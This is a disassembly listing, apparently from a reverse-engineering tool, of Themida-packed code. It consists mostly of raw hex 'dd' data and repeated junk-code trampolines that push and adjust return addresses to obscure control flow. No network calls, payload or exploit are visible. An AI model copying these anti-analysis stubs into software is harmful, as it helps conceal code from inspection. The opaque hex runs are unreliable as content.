1B0424h, 57470000h, 4BA450C3h dd 0D4A4FB0Bh, 0FEBF0FF8h, 960193BFh, 6A006A53h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0EFD5C355h, 20D8A3C5h, 810FA366h, 6, 2FADB589h, 66600613h dd 0AE9CB8Bh, 0D0000000h, 905D7291h, 0D2F0BBCEh, 18686141h dd 533E2AA3h, 52505250h, 585A310Fh, 6160310Fh, 815F585Ah dd 0A0E72434h, 85893E35h, 61331C5h, 0A3D95FFh, 6A0613h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 54A913C3h, 85894A9Dh, 616C454h, 0AE99D09h, 87E90613h dd 6A000002h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0C86EC351h, 60F8523Fh, 2A899D01h dd 8B610613h, 16C44C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 9529CD5Eh, 6132021h, 5800Fh dd 81660000h, 0C77BF2D7h, 1800h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4733C637h dd 63FC1642h, 0B58BEEA8h, 616C450h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 81C35747h, 27F27AA9h, 0D494C997h dd 0EE968h, 146C0000h, 0A2F06B9Fh, 8649A834h, 7C8344C5h dd 2A55858Bh, 0CF810613h, 6323F460h, 0B70F0689h, 858BFCDFh dd 6132BB9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 52C35545h, 70C56A64h, 0C97A964Ah, 816660F1h, 8BB088D1h dd 131059B5h, 46896106h, 0F3816604h, 81660829h, 960966DFh dd 5E8h, 9EF94C00h, 2EB739CCh, 0F88B505Fh, 6810F96h, 89000000h dd 130DC98Dh, 4CB5FF06h, 6A0616C4h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 367AC353h dd 7B59C117h, 4E8h, 1F03FF00h, 8E900h, 2EB20000h, 8496AC0Ah dd 8B50953Dh, 0E8042444h, 0Fh, 6967E5E7h, 88AE33FFh, 0A0E556C4h dd 0E8E8D37Fh, 0Eh, 66644E70h, 3A0F7EBFh, 8A597E81h, 13E816ACh dd 0FA000000h, 5AF5F210h, 94885E62h, 0B3120845h, 5A9E9F21h dd 5B5F9B3Dh, 8B008B5Bh, 244489DAh, 1707BB04h, 6A586F85h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0BDB9C357h, 60FD288Ah, 89C3D181h, 0F86067ECh dd 9E8h, 0CBBF1900h, 46496875h, 615FAFBEh, 54858D61h, 6A0616C4h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 2443C352h, 199D8BADh, 8B061316h, 1314B1BDh dd 60575006h, 0C88AC88Bh, 4895F61h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F6EDB60h dd 95FFDBB7h, 6130A3Dh, 14E8h, 0C0AE5B00h, 0EBC5E79Ah dd 0DBABF1D4h, 7191A1CBh, 0F182738Ch, 9ABF6689h, 6A615FDCh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 9208C356h, 2EE2B5E2h, 0EE988BAh, 0F000000h dd 17BF15DFh, 0AD17C280h, 2272F442h, 5585C79Fh, 3061330h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 1997C355h, 11D2CE8h, 610E3CADh dd 0C454BD83h, 0F000616h, 0B84h, 21E900h, 0BD8B0000h, 61312BDh dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8161C351h, 0B06E07EBh, 51BD8953h, 31061330h dd 1317698Dh, 55BD8306h, 3061330h, 439850Fh, 8D290000h dd 6132B35h, 0C454BD83h, 0F000616h, 42684h, 0CF816600h dd 0B5FF9424h, 616C454h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0E3C35040h, 0DD35616Eh, 1D9B589h, 95FF0613h dd 6130969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0D8C35141h, 0F535A43Ah, 0C448B58Bh, 6A0616h, 3E852h dd 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 35604CC3h, 2A51D396h, 0C99D8B49h dd 0C7061305h, 1000106h, 0A9BD8B00h, 96061321h, 820F5153h dd 0 ; --------------------------------------------------------------------------- pop edi pop edi push eax xchg eax, esi mov bx, 107h push dword ptr [ebp+616C454h] push 0 push edi call sub_5C3ED5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3ED5 proc near ; CODE XREF: Themida_:005C3ECDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5C3ED5 endp ; --------------------------------------------------------------------------- sbb [edi+2995FFB6h], al xor dl, [ebx] push es mov [ebp+61311E5h], eax mov esi, [ebp+616C448h] mov ebx, 0D4DD735h mov eax, [ebp+6130631h] jno loc_5C3F0C cmc loc_5C3F0C: ; CODE XREF: Themida_:005C3F05j mov [esi+0C4h], eax push 0 push edi call sub_5C3F1D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3F1D proc near ; CODE XREF: Themida_:005C3F15p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5C3F1D endp ; --------------------------------------------------------------------------- db 0FBh, 35h, 3Fh ; --------------------------------------------------------------------------- cmp ds:1BBD958Bh, edx adc eax, [esi] push 0 push eax call sub_5C3F43 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3F43 proc near ; CODE XREF: Themida_:005C3F3Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5C3F43 endp ; --------------------------------------------------------------------------- db 73h dd 0FF45A5D5h, 5E9FFh, 0C0F0000h, 8397A667h, 6A04C2h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0A85A3BC3h, 1D106B7Fh, 85CB819Dh, 895F6636h, 8B662050h dd 0E3858DD9h, 310616D8h, 1309DDBDh, 0B8868906h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0D552C355h, 71CAB74Eh, 14E997h, 554D0000h dd 9E72580Eh, 0C2AECD37h, 456E7F85h, 254467CAh, 0E95662ECh dd 0Bh, 738EEEAh, 904882A8h, 5F2581C3h, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 4F6DF5C3h, 66BE944Bh, 2E8BCF81h, 0B5FFDA8Bh, 616C454h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 9DC35646h dd 43E2C83Bh, 2FB799EAh, 75BD8B01h, 0FF061330h, 131E9595h dd 0DF8B6606h, 50E8B396h, 0FE8h, 8BDA0700h, 0B7743699h dd 43E44F20h, 1DBBF144h, 0B5FF965Bh, 616C454h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BDC35040h, 3A4DA24Bh dd 0BD0B11C7h, 613285Dh, 8E9h, 7A226F00h, 47620DBDh, 4595FF5Bh dd 8A061321h, 95BD83DEh, 61314h, 55840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 5BCE70C3h, 500E335Fh, 4A28BF66h, 6A243489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 742BC356h, 0B9BD89EAh, 5306130Ah, 25AD9529h, 0FF5B0613h dd 16C454B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 95FFB730h, 61305ADh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0FCC35141h, 0A92AB12Ch dd 995E555Dh, 0E3816683h, 0B5FF5DC4h, 616C454h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 13C35242h, 188A0F7Eh dd 0E9000000h, 13h, 0ED479472h, 1345414Ah, 0D9F6EE80h dd 989D42CCh, 0FF228DF2h, 13120995h, 0F78B6006h, 61D7B70Fh dd 511BD83h, 0F020613h, 5284h, 8E800h, 0C3020000h, 363D97BBh dd 0F5F7CB0h, 88Bh, 85895300h, 6131469h, 55858B5Fh, 8B06130Fh dd 0CAE381D9h, 0C64B1E0Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C5D667C3h dd 0C448B614h, 0C78DDF80h, 131E5185h, 6, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 906F9157h, 0B2FEDA40h, 0E9F88B5Bh, 0FFFFF2BDh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 62C35747h, 8B0EC780h dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0EA599EBCh, 15B3C6B7h, 0A9858D2Bh, 0F06131Eh dd 681h, 75858900h, 90061310h, 0D73BBF66h, 12E85750h, 46000000h dd 6506B7AAh, 72B1646Fh, 7EFBF5BDh, 0CE23313h, 5BDF8B68h dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 57A119C3h, 0DE9006Ah, 0F5000000h, 0CF417438h dd 0DD09F82Dh, 132FB9C6h, 6ADE8Bh, 1E158529h, 0F3810613h dd 83C297h, 8186858Dh, 6A0617h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0FD33E4C3h, 31161465h dd 130B75B5h, 5C08306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 4EC35545h, 3151BD0Bh, 50900613h, 14E9h dd 3C56CD00h, 0A3043669h, 0CB1988C9h, 19787F3Fh, 6E8FBB1Bh dd 8B669055h, 0F006ADFh, 188h, 6AF800h, 7352F381h, 95FF288Eh dd 61307F1h, 18880Fh, 13E90000h, 0FD000000h, 501B60F2h dd 5D9DB974h, 0CAD7F3A1h, 9BE1BA11h, 8D8DF911h, 616A36Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 88C35141h dd 0E6D6D686h, 0E0E596FFh, 6AD1FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 71BDD6C3h dd 0D98B6660h, 173DBD83h, 0F010613h, 4785h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0F5ED6889h, 0B3C5FFABh, 0BD2B98C2h, 6132C75h, 8956026Ah dd 131231B5h, 50905B06h, 21958990h, 0FF06130Dh, 131E9595h dd 0B5EB8006h, 0DE7E9h, 0E800h, 815D0000h, 178190EDh, 8166F906h dd 8DCD57C7h, 168F5E85h, 0FE906h, 960F0000h, 0DF4726F5h dd 0D107B5Dh, 3CDD0F97h, 0FE8B90DEh, 90FC8A50h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 49C35747h, 0B6B60AB8h dd 0DE8B0ACAh, 35FF64h, 60000000h, 79BFDA8Bh, 6156F109h dd 258964h, 66000000h, 8E9FB8Bh, 89000000h, 0CA067250h dd 0FFBD957Ah, 1316D985h, 68D0F06h, 89000000h, 130E5DB5h dd 6AFF6A06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 5C57C352h, 0FF4D796Ch, 14E9h dd 93845C00h, 87D124E7h, 0BA942729h, 12EE6416h, 4B5C0429h dd 0B5FFF5C3h, 613302Dh, 0FE8BFA8Bh, 31AD95FFh, 0E6E90613h dd 8B000000h, 300B0D9h, 1311C99Dh, 8170E606h, 0ED7F3CBh dd 171E450h, 132B91BDh, 0F613C06h, 0C483h, 61B52900h, 0F061316h dd 0F52C8B6h, 0BA5FF9B7h, 6, 0AC91BFBBh, 66C18B00h, 0B016E381h dd 8904E8C1h, 1317758Dh, 0A5BD8B06h, 6606132Fh, 0BB66E2F7h dd 0C82B9B67h, 5E9D18Bh, 0D8000000h, 0D5383C77h, 54EF8153h dd 5F1D70EBh, 7E9h, 9D89F900h, 61313F5h, 0BD858Bh, 0BD8B0613h dd 61323FDh, 8907C083h, 132CFD8Dh, 0C08306h, 3B1EC380h dd 0A830FD0h, 0F000000h, 42E9FBBFh, 8B000000h, 398D8BF9h dd 0BF061306h, 59EBFF95h, 0F01E183h, 2C84h, 8E900h, 22380000h dd 61E1405Dh, 0A5831266h, 6130639h, 1DB589FEh, 66061332h dd 8981C7BBh, 1300BD95h, 35D78006h, 0E9h, 1EB58D00h, 8B06170Ah dd 131059BDh, 5F71BF06h, 6A44F5h, 13ADBD8Bh, 95FF0613h dd 6130DA9h, 1B4D8529h, 85890613h, 6131D9Dh, 81DB9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0DC943161h, 158F0FA5h, 0E8000000h, 9, 41789750h, 6522F0EBh dd 419D0BC3h, 5F06131Dh, 835BF850h, 6AFCE1h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0D2E04AC3h dd 8E19A5D1h, 0E9F9B70Fh, 8, 948BA73Fh, 0C029F67Eh, 9DBD89FCh dd 0E906131Eh, 7, 9BEA95A9h, 2B6AA680h, 0A18501C0h, 2B061329h dd 57006AD2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 8589F965h, 61324B1h, 4507BB66h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 1EE8160h, 0F7F588Dh, 8B61C7BFh dd 1331A5BDh, 880D06h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 7E912C3h, 0C000000h dd 69883918h, 958B00AAh, 6131BBDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4FC35545h dd 94F02D77h, 0FF86C4Dh, 68Bh, 0BDB58900h, 8B06132Eh, 1318DD8Dh dd 0A4F78006h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0BB665818h, 8D09B462h, 61310D5h, 1D1DBD83h, 0F000613h dd 6784h, 0B800h, 85310000h, 6132C7Dh, 4F8D8D8Dh, 6A0613h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0CDC98EC3h, 0E317D880h, 958951F9h, 6131059h, 6AE1FF5Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0A5E4C357h, 31A16BFEh, 21953157h, 5F061309h dd 3055BD83h, 0F000613h, 43A84h, 659D8B00h, 83061329h dd 133055BDh, 840F0106h, 442h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0DFC35747h, 18DF5CD8h, 9ED49292h dd 1A01B589h, 95890613h, 6130B41h, 0BD83DA8Ah, 6133055h dd 0CD860F03h, 0E8000003h, 0Ah, 128332ECh, 0D7E63EACh dd 8531A227h, 6130F09h, 8BFC605Fh, 0D98C66DFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 88C35141h, 5100AA69h dd 2890Fh, 61600000h, 11BD8B5Bh, 80061332h, 6A04E1h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 13DFDDC3h, 264B5182h, 0CDBD8B52h, 5B061308h, 8BFBBF0Fh dd 132549BDh, 0FC90A06h, 11584h, 9E800h, 473C0000h, 17A82285h dd 0BBC80DF3h, 58764862h, 0B9858B5Fh, 0B06132Bh, 13318D9Dh dd 0B9853306h, 0E9061305h, 0Ah, 51FFD74Eh, 635000BEh, 5190039Ch dd 8B0F505Bh, 0 db 90h ; --------------------------------------------------------------------------- push 0 push edi call sub_5C4950 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4950 proc near ; CODE XREF: Themida_:005C4948p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5C4950 endp ; --------------------------------------------------------------------------- dd 0E050A7CEh, 0DB815158h, 70476B88h, 6A006A5Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0A737C352h, 6F4E1DF3h, 959D8BF7h, 68061311h, 6F09D36Fh dd 90243481h, 6A6F16D0h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 7C21C352h, 71F94985h dd 295C8364h, 1329C195h, 0F8CB8106h, 0FF6AB912h, 130A3D95h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0AFC2A847h, 0A5F26093h, 9D8BB1BCh, 6131E79h dd 13D9BD09h, 85890613h, 616C454h, 0E5E93FB3h, 0F000001h dd 858BFABFh, 616C44Ch, 24859529h, 0C70613h, 18h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0FBC35747h, 0FBB70FD6h dd 0B58B6FB7h, 616C450h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 76C35747h, 0F7E062Eh, 858BDAB7h, 6132A55h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0DEC35646h dd 0D27E58BAh, 0D374322Fh, 89DF8B66h, 9BD0306h, 8B061324h dd 132BB985h, 8955B306h, 6A0446h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 879B3FC3h, 0E91B2003h dd 13h, 319D85D8h, 0EA613DF8h, 0A636EBAFh, 55296570h, 509A8C42h dd 0B0C59FBBh, 2434895Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 9CC35141h, 0E1FC5C07h, 813BF345h, 9168C2CBh dd 4CB5FF7Bh, 6A0616C4h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 89D8C351h, 13154995h dd 17096806h, 8B668929h, 240481FBh, 76F5ECF6h, 2565BD8Bh dd 0EB810613h, 4616A71Eh, 0C454858Dh, 6A0616h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 19E4DDC3h, 0F381662Fh, 89505868h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0C7859AC3h dd 8AD66222h, 0E96099B3h, 11h, 9EAF57CCh, 0D9FD7FAAh, 3F373079h dd 91BF3F0Bh, 0F3F68187h, 612C49F5h, 0A3D95FFh, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0D84F64C3h, 0FCE06D2Ch, 0DCC38061h, 305585C7h, 30613h dd 83FC0000h, 16C454BDh, 840F0006h, 30h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 5BC35242h, 0EC1EF753h dd 24E9B9ADh, 0F000000h, 0BD8BD8B7h, 6130EB5h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 38Ch dd 0F9B70F00h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0BFC35343h, 9E871h, 38C10000h, 8B4E2160h, 0E983A18Dh dd 11h, 90560913h, 10E1CC1h, 7D0312B8h, 0DE4B29E3h, 9D295B45h dd 6131291h, 0BB5B589h, 0BD830613h, 6133055h, 0E1850F03h dd 0E9000004h, 6, 0A94955C6h, 0BD8374F2h, 616C454h, 0C9840F00h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 5BF5C356h, 0EE9877Ch, 0BB000000h dd 0C7D6A9F5h, 86CD1F7Dh, 39321281h, 54B5FF42h, 8B0616C4h dd 132C519Dh, 6995FF06h, 0F061309h, 0BE8FABFh, 0BC000000h dd 0FB0D2C78h, 41CB3B16h, 95893874h, 61315D5h, 48B58B5Bh dd 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0EEE7C357h, 14A14473h, 0E76C0272h dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 88AB50C3h, 0FE8h, 0AF5AA000h, 8C9D4E5Bh dd 0C887FA5Fh, 0DE41550Eh, 8E8h, 431CA400h, 91199EFCh dd 965B5B99h, 8F734BBFh, 5060502Eh, 0F525052h, 0F585A31h dd 0D68B6631h, 9661585Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0E7C35545h, 697D81ABh, 650D3E75h, 0C454B5FFh dd 6A0616h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 7F16D7C3h, 77BD5489h, 60F9448Bh, 0BE9h, 462FE600h dd 56E3FB4h, 4D44CF62h, 34DF8166h, 95FF61CCh, 6133229h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6EC35141h dd 89D470CFh, 1318F1B5h, 48B58B06h, 6A0616C4h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 4ADC350h, 0E702CF90h, 0BD8B98BDh, 61319E5h, 7E8h, 0BE011C00h dd 0DF994230h, 160DF9BBh, 858B5F66h, 6130631h, 10E9h, 985B9100h dd 0FBFA2B50h, 0C38BD495h, 3C2F452h, 0C486892Dh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 6847C355h, 0D5BCA9EBh, 31558529h, 9D2B0613h dd 6131539h, 1BBD958Bh, 10E90613h, 7E000000h, 564EB263h dd 52CCC97Fh, 2B24F137h, 83E0F81Eh, 6A04C2h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0B222F7C3h dd 20508957h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0EAC35343h, 0D8E3858Dh, 6A0616h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 247B41C3h dd 0F09E9565h, 203D9589h, 86890613h, 0B8h, 30599D8Bh, 6A0613h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BBC35747h dd 0C454B5FFh, 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 94400AC3h, 7B9B63DDh, 117DBD03h dd 95FF0613h, 6131E95h, 35BD8B57h, 5F061305h, 899CB350h dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0D71A29C3h, 0BB663EEBh, 0B5FF220Eh, 616C454h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9C35545h dd 0C1AE4AB8h, 15858912h, 0FF061300h, 13214595h, 21BD8B06h dd 83061323h, 131495BDh, 840F0006h, 2Ch, 0F9660B7h, 148Ah dd 0DE95100h, 78000000h, 0E49FC798h, 77DFFD3h, 0E2028057h dd 0BF66505Fh, 8B967D31h, 131C05BDh, 0D98B6606h, 0C454B5FFh dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 589527C3h, 96C05AE3h, 95FF9CB0h, 61305ADh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C7C35141h dd 0B560CC37h, 8B6632D8h, 54B5FFD9h, 6A0616C4h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0FCFFC355h, 0FF06B73Ah, 13120995h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 8B0FA9CAh, 0Ch, 6880Fh, 9D8B0000h, 6131F09h, 511BD83h dd 0F020613h, 6A84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 858B38A9h, 6130F55h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 16C35747h, 0D517BA77h dd 0C671h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0B1C35343h, 91B529EBh, 0C706130Eh, 131E5185h, 6 dd 0DF8B6600h, 0FFF300E9h, 50006AFFh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 188F95DCh dd 8B5EFD22h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 12F53AEBh, 0BD23811Eh, 6131319h dd 68D0Fh, 9D290000h, 6131DADh, 1EA9858Dh, 7E90613h, 66000000h dd 0D987C1BDh, 6090AB43h, 0DE9C88Bh, 8D000000h, 9596EF10h dd 0B6EB2FC1h, 195246F5h, 6A905061h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 769FC356h dd 19599D89h, 6A0613h, 0FD8A006Ah, 910C858Dh, 6A0617h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 83FC8BC3h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0BBA826C3h, 860F285Ah, 3, 33DEBF0Fh dd 1330C19Dh, 8B605006h, 48961F9h, 2D852924h, 6A06132Dh dd 68D0F00h, 29000000h, 1320ED95h, 1006A06h, 131AD98Dh dd 658D8906h, 0FF06131Fh, 1307F195h, 0F0DF8006h, 0A36A8D8Dh dd 85890616h, 613163Dh, 6AD1FFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0ADAAB4C3h, 83CB81D7h dd 83427837h, 13173DBDh, 850F0106h, 7Eh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B9C35646h, 7773EFF3h dd 26A64F1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 47C35141h, 6690A9E9h, 5072FABFh, 90DF8B66h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9C35040h, 0C0930F4Dh dd 0BE2F6E49h, 1E9595FFh, 89520613h, 1329659Dh, 48E95F06h dd 0E8000010h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6179116h mov bh, 16h mov ebx, 100A974Dh lea eax, [ebp+6168F5Eh] push 0 push edx call sub_5C53FF and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C53FF proc near ; CODE XREF: Themida_:005C53F7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5C53FF endp ; --------------------------------------------------------------------------- db 0F9h dd 0EE2D55Eh, 0BD8B5B56h, 6130F01h, 238C0F50h, 0E8000000h dd 7, 26D0F4F8h, 0E8C176F4h, 10h, 33A11D8Ch, 3B765EA8h dd 0D27832EBh, 0ACC74F99h, 4895B5Fh, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 68B0F33h, 0F000000h dd 85h, 35FF6400h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5C5483 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5483 proc near ; CODE XREF: Themida_:005C547Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5C5483 endp ; --------------------------------------------------------------------------- add al, 0EBh cmc pop ecx pop ss sbb di, 546Eh mov large fs:0, esp push 0 push eax call sub_5C54AF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C54AF proc near ; CODE XREF: Themida_:005C54A7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5C54AF endp ; --------------------------------------------------------------------------- db 65h dd 99F06836h, 91D3D6DDh, 0BD096033h, 6132FDDh, 0D059D89h dd 0FF610613h, 1316D985h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0B04781D5h dd 5E8h, 0E63C4500h, 9D8B2575h, 61334BDh, 6AFF6A5Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 1C08C356h, 92BB8A87h, 0FF7EB1D8h, 1331EDB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0A7D01BE0h, 62D28372h, 95FF3626h, 61331ADh, 132E9h dd 0D88B6600h, 0E78100B0h, 24361ADCh, 9D8B70E6h, 6130A0Dh dd 0EF8171E4h, 23DD1E12h, 830F613Ch, 10Fh, 69B58951h, 5B06130Eh dd 0FC8B60Fh, 6BAFABFh, 8B000000h, 1309E5BDh, 8BB6B706h dd 13850FC1h, 0E9000000h, 0Eh, 889D72D1h, 870515EDh, 87B1535Dh dd 0E8C1EB49h, 